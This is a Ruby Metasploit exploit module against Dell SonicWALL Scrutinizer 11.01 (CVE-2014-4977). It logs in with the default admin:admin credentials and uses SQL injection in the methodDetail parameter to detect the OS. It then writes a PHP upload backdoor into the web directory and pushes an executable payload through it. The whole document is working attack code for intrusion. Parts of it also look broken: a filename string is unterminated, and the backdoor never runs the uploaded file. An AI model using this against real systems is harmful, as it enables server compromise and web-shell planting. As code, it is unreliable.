require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
WINDOWS = /^win/i
LINUX = /linux/i
def initialize(info={})
super(update_info(info,
'Name' => "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection",
'Description'=> %q{
This module exploits a vulnerability found in Dell SonicWALL Scrutinizer. The methodDetail
parameter in exporters.php allows an attacker to write arbitrary files to the file system
with an SQL Injection attack, and gain remote code execution under the context of SYSTEM
for Windows, or as Apache for Linux.
Authentication is required to exploit this vulnerability, but this module uses
the default admin:admin credential.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'bperry',
'sinn3r'
],
'References' =>
[
[ 'CVE', '2014-4977' ],
[ 'BID', '68495' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Jul/44' ],
[ 'URL','https://gist.github.com/brandonprry/76741d9a0d4f518fe297' ]
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'win', 'linux' ],
'Targets'=>
[
[ 'Automatic', {} ],
[
'Dell SonicWALL Scrutinizer 11.01 on Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
}
],
[
'Dell SonicWALL Scrutinizer 11.01 Linux Appliance',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 24 2014',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('TARGETURI', [ true, "Base Application path", "/" ]),
OptString.new('USERNAME', [ true,'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true,'The password to authenticate with', 'admin' ])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def pad_null(n)
padding = []
n.times do
padding << 'NULL'
end
padding * ','
end
def check
begin
res = do_login
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
uid = res['userid']
sid = res['sessionid']
pattern = Rex::Text.rand_text_alpha(10)
sqli_str = "-6045 UNION ALL SELECT '#{pattern}',#{pad_null(19)}"
res = do_sqli(sqli_str, sid, uid).get_json_document
return Exploit::CheckCode::Vulnerable if res['id'].to_s == pattern
Exploit::CheckCode::Safe
end
def get_os(sid, uid)
sqli_str = "-6045 UNION ALL SELECT @@version_compile_os,#{pad_null(19)}"
res = do_sqli(sqli_str, sid, uid).get_json_document
res['id']
end
def get_d4d_path(os)
case os
when WINDOWS
'../../html/d4d'
when LINUX
'/home/plixer/scrutinizer/html/d4d'
end
end
def do_login
res = send_request_cgi({
'uri' => normalize_uri(target_uri, '/cgi-bin/login.cgi'),
'vars_get' => {
'name' => datastore['USERNAME'],
'pwd' => datastore['PASSWORD']
}
})
unless res
fail_with(Failure::Unknown, 'The connection timed out while attempting to log in.')
end
res = res.get_json_document
if res['noldapnouser']
fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.")
elsif res['loginfailed']
fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
end
report_cred(datastore['USERNAME'], datastore['PASSWORD'])
res
end
def report_cred(username, password)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def do_sqli(method_detail, sid, uid)
res = send_request_cgi({
'uri'=> normalize_uri(target_uri, '/d4d/exporters.php'),
'vars_get' => { 'methodDetail'=> method_detail },
'cookie' => "cookiesenabled=1;sessionid=#{sid};userid=#{uid}"
})
unless res
fail_with(Failure::Unknown, 'The connection timed out for exporters.php.')
end
res
end
def get_php_backdoor(os)
case os
when WINDOWS
chmod_code = %Q|chmod($bname, 0777);|
exec_code = %Q|exec($bname);|
when LINUX
chmod_code = %Q|chmod("./" . $bname, 0777);|
exec_code = %Q|exec("./" . $bname);|
end
%Q|<?php
$bname = basename( $_FILES['uploadedfile']['name']);
$target_path = "./" . $bname;
move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path);
?>
|.gsub(/\x20{4}/, ' ')
end
def upload_payload(backdoor_fname, payload_fname)
p = generate_payload_exe(
code: payload.encoded,
platform: @my_target.platform,
arch: @my_target.arch
)
print_status("Uploading #{payload_fname} (#{p.length} bytes)...")
post_data = Rex::MIME::Message.new
post_data.add_part(
p,
'application/octet-stream',
'binary',
"form-data; name=\"uploadedfile\"; filename=\"
)
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri'=> normalize_uri(target_uri, "/d4d/#{backdoor_fname}"),
'ctype'=> "multipart/form-data; boundary=#{post_data.bound}",
'data' => data
})
unless res
vprint_status('Connection timed out while uploading payload.')
return
end
if res.code == 404
fail_with(Failure::Unknown, "Server returned 404 for #{backdoor_fname}.")
end
end
def upload_php_backdoor(opts)
d4d_path = opts[:d4d_path]
backdoor_fname = opts[:backdoor_fname]
payload_fname= opts[:payload_fname]
sid= opts[:sid]
uid= opts[:uid]
os = opts[:os]
print_status("Injecting a PHP upload backdoor (#{backdoor_fname})...")
hex_backdoor = get_php_backdoor(os).unpack("H*")[0]
sqli_str = "-6045 UNION ALL SELECT 0x#{hex_backdoor},#{pad_null(19)} INTO DUMPFILE '#{d4d_path}/#{backdoor_fname}' #"
do_sqli(sqli_str, sid, uid)
end
def do_backdoor_sqli(os, sid, uid)
backdoor_fname = "#{Rex::Text.rand_text_alpha(6)}.php"
payload_fname= Rex::Text.rand_text_alpha(5)
payload_fname << '.exe' if @my_target['Platform'].match(WINDOWS)
d4d_path = get_d4d_path(os)
register_files_for_cleanup(backdoor_fname, payload_fname)
opts = {
d4d_path: d4d_path,
backdoor_fname: backdoor_fname,
payload_fname: payload_fname,
sid: sid,
uid: uid,
os: os
}
upload_php_backdoor(opts)
upload_payload(backdoor_fname, payload_fname)
end
def try_set_target(os)
@my_target = target if target != targets[0]
case os
when WINDOWS
@my_target = targets[1]
when LINUX
@my_target = targets[2]
else
fail_with(Failure::NoTarget, 'Unsupported target')
end
end
def exploit
res = do_login
uid = res['userid']
sid = res['sessionid']
os = get_os(sid, uid)
print_status("Detected OS information: #{os}")
try_set_target(os)
do_backdoor_sqli(os, sid, uid)
end
end